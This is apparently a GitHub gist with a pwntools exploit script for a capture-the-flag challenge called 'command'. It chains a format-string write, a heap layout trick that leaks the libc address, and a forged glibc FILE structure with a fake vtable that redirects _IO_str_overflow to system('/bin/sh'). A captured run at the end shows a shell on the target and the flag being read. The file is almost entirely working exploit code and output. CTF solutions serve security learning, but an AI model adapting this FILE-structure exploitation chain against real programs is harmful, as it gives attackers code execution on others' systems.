Created
May 31, 2020 16:56
-
-
Save soez/aa57ef58bc1a31cc329eaf60cc311bfc to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding:utf-8 -*- | |
from pwn import * | |
# based on https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/ | |
def pack_file(_flags = 0, | |
_IO_read_ptr = 0, | |
_IO_read_end = 0, | |
_IO_read_base = 0, | |
_IO_write_base = 0, | |
_IO_write_ptr = 0, | |
_IO_write_end = 0, | |
_IO_buf_base = 0, | |
_IO_buf_end = 0, | |
_IO_save_base = 0, | |
_IO_backup_base = 0, | |
_IO_save_end = 0, | |
_IO_marker = 0, | |
_IO_chain = 0, | |
_fileno = 0, | |
_lock = 0): | |
struct = p32(_flags) + \ | |
p32(0) + \ | |
p64(_IO_read_ptr) + \ | |
p64(_IO_read_end) + \ | |
p64(_IO_read_base) + \ | |
p64(_IO_write_base) + \ | |
p64(_IO_write_ptr) + \ | |
p64(_IO_write_end) + \ | |
p64(_IO_buf_base) + \ | |
p64(_IO_buf_end) + \ | |
p64(_IO_save_base) + \ | |
p64(_IO_backup_base) + \ | |
p64(_IO_save_end) + \ | |
p64(_IO_marker) + \ | |
p64(_IO_chain) + \ | |
p32(_fileno) | |
struct = struct.ljust(0x88, '\0') | |
struct += p64(_lock) | |
struct = struct.ljust(0xd8, '\0') | |
return struct | |
def welcome(s): | |
print io.recvuntil("Your name: ") | |
io.send(s) | |
print io.recvline() | |
def menu(n): | |
io.recvuntil("> ") | |
io.sendline(str(n)) | |
def incluye(n, c): | |
menu(1) | |
io.recvuntil("Priority: ") | |
io.sendline(str(n)) | |
io.recvuntil("Command: ") | |
io.send(c + "\r") | |
io.recvuntil("The command has been included at index ") | |
return io.recv(2) | |
def review(idx): | |
menu(2) | |
io.recvuntil("Command index: ") | |
io.sendline(str(idx)) | |
io.recvuntil("Priority: ") | |
leak_1 = u64(io.recvuntil("\n")[:-1].ljust(8, '\0')) | |
io.recvuntil("Command: ") | |
leak_2 = u64(io.recvuntil("\n")[:-1].ljust(8, '\0')) | |
return leak_1, leak_2 | |
def delete(idx): | |
menu(3) | |
io.recvuntil("Command index: ") | |
io.sendline(str(idx)) | |
io.recvline() | |
def send(idx): | |
menu(5) | |
io.recvuntil("Are you sending the commands to which rbs?\n") | |
io.sendline(str(idx)) | |
io.recvuntil("You command Mr. ") | |
return io.recvuntil("!\n")[:-2] | |
def attach(addr): | |
gdb.attach(io, 'b *{:#x}\nc'.format(addr + io.libs()[elf.path])) | |
elf = ELF("./command", checksec = False) | |
libc = ELF("./libc.so.6", checksec = False) | |
env = {"LD_PRELOAD":libc.path} | |
local = False | |
while True: | |
io = process(elf.path, env=env) if local else remote("command.pwn2.win", 1337) | |
# 588 LSB fake_struct | |
welcome("%46472d%4$hn") | |
for _ in range(1, 10): | |
incluye(_, "") | |
for _ in range(9, 0, -1): | |
delete(_) | |
for _ in range(1, 9): | |
incluye(_, "") | |
leak_1, leak_2 = review(8) | |
libc.address = leak_2 - 0x3ebc0d | |
print "[+] libc leak: 0x%x" % leak_2 | |
print "[+] libc base address: 0x%x" % libc.address | |
for _ in range(7, 0, -1): | |
delete(_) | |
rip = libc.symbols['system'] | |
rdi = next(libc.search("/bin/sh")) | |
print "[+] system: 0x%x" % rip | |
print "[+] /bin/sh ptr: 0x%x" % rdi | |
assert(rdi % 2 == 0) | |
# Crafting FILE structure | |
# This stores the address of a pointer to the _IO_str_overflow function | |
# Libc specific | |
io_str_overflow_ptr_addr = libc.symbols['_IO_file_jumps'] + 0xd8 | |
# Calculate the vtable by subtracting appropriate offset | |
fake_vtable_addr = io_str_overflow_ptr_addr - 2 * 8 | |
# Craft file struct | |
file_struct = pack_file(_IO_buf_base = 0, | |
_IO_buf_end = (rdi - 100) / 2, | |
_IO_write_ptr = (rdi - 100) / 2, | |
_IO_write_base = 0, | |
_lock = libc.address + 0x3eb1b0) # _lock ptr to NULL | |
# vtable pointer | |
file_struct += p64(fake_vtable_addr) | |
# Next entry corresponds to: (*((_IO_strfile *) fp)->_s._allocate_buffer) | |
file_struct += p64(rip) | |
file_struct = file_struct.ljust(0x100, '\0') | |
incluye(1337, file_struct) | |
send(8) | |
try: | |
io.sendline("id") | |
data = io.recv() | |
print data | |
if "/home/commander/commander:" in data: | |
io.close() | |
continue | |
except: | |
io.close() | |
continue | |
break | |
io.interactive() | |
''' | |
[+] libc leak: 0x7f8b9b064c0d | |
[+] libc base address: 0x7f8b9ac79000 | |
[+] system: 0x7f8b9acc8440 | |
[+] /bin/sh ptr: 0x7f8b9ae2ce9a | |
uid=1001(commander) gid=1001(commander) groups=1001(commander) | |
[*] Switching to interactive mode | |
$ cat /home/commander/flag.txt | |
CTF-BR{_wh4t_4_fUn_xpl_ch41n_mY_c0mm4nd3r_} | |
''' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment